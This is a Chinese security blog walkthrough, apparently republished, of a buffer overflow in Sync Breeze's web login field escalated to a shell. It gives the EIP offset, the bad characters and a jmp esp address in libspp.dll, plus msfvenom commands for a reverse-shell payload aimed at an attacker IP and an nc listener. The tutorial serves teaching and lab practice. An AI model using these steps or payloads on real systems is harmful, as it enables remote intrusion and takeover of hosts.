缓冲区溢出到getshell提权

admin 2025年1月25日01:51:01评论6 views字数 1417阅读4分43秒阅读模式
 

页面前端修改

打开Web页面

缓冲区溢出到getshell提权
F12修改前端输入限制为3000
缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

测试溢出长度

python生成数据,复制

print('A' * 800)
缓冲区溢出到getshell提权

将脏数据粘贴到User Name

结果程序崩溃

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

调试器导入进程

使用管理员打开Immunity Debuggeer调试器

缓冲区溢出到getshell提权

导入进程

File>Attach>找到Sync Breeze并点击>Attach

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

再次注入

已将EIP寄存器覆盖了

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

定位覆盖EIP的偏移量

因为注入的是相同的数据,所以判断不到EIP的位置

注入随机脏数据找到EIP地址位置

kali生成脏数据

msf-pattern_create -l 800
缓冲区溢出到getshell提权

再次注入脏数据

EIP 被覆盖为42306142

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

查询偏移量

kali计算偏移量

msf-pattern_offset -l 800 -q 42306142

偏移量 在780 处,为Ba0B

缓冲区溢出到getshell提权

定位可以写入ESP寄存器的偏移和长度

使用python生成780个A,4个B,4个C

print('A' * 780 + 'B' * 4 + 'C' * 4)
缓冲区溢出到getshell提权

重新注入

精准找到覆盖EIP的位置,BBBB

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

测试能溢出多少数据

print('A' * 780 + 'B' * 4 + 'C' * 4 + 'D' * 212 + 'E' * 200 + 'F' * 200 + 'G' * 200 + 'H' * 200 + 'I' * 200)
缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

2000-788=1212都能溢出

已经够300-500个的payload字符

测试坏字符

一些字符如果插入进去呢会引起这个程序的崩溃,把所有16进制的字符利用脚本一个个测试,然后内存中会有一些安全机制,如果输入的字符被删掉,或者替换掉了,就说明这个是坏字符。

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

注入十六进制,进到ESP内存区域,观察字节顺序,发现到从x01到x09之后就断了,说明x0A是个坏字符,所以将0x0A去掉之后再执行一遍同样的流程。

排查出所有坏字符

x00x0Ax0Dx25x26x2Bx3D

寻找 jmp esp指令的内存地址

利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp

jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。

esp:如前所述,指的是ESP寄存器的值,它当前指向堆栈的顶部。

在kali 利用msf-nasm_shell转换jmp esp成16进制操作数

msf-nasm_shell
jmp esp

jmp esp的十六进制:FFE4

缓冲区溢出到getshell提权

查找所有模块

先列出当前加载的所有模块,找所有安全机制都没有启动的模块,就是全为False

!mona modules

libspp.dll动态链接库没有启用安全机制

缓冲区溢出到getshell提权
缓冲区溢出到getshell提权

模块中搜索FFE4

!mona find -s "xffxe4" -m "libspp.dll"

10090c83

缓冲区溢出到getshell提权

CPU读取寄存器地址是倒着读的,所以写入的时候也要倒着写

x83x0cx09x10

反弹shell

生成反弹shell

kali使用msf生成反弹shell

使用-b参数过滤掉坏字符

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread
缓冲区溢出到getshell提权

监听端口

nc -nlvvp 8888
缓冲区溢出到getshell提权

编辑脚本

将msf生成的十六进制复制修改到POC,修改IP地址

注意payload缩进,和10090c83翻转为x83x0cx09x10

缓冲区溢出到getshell提权

启动脚本,反弹shell

缓冲区溢出到getshell提权

原文始发于微信公众号(泷羽Sec-Ceo):缓冲区溢出到getshell提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月25日01:51:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出到getshell提权https://cn-sec.com/archives/3671882.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息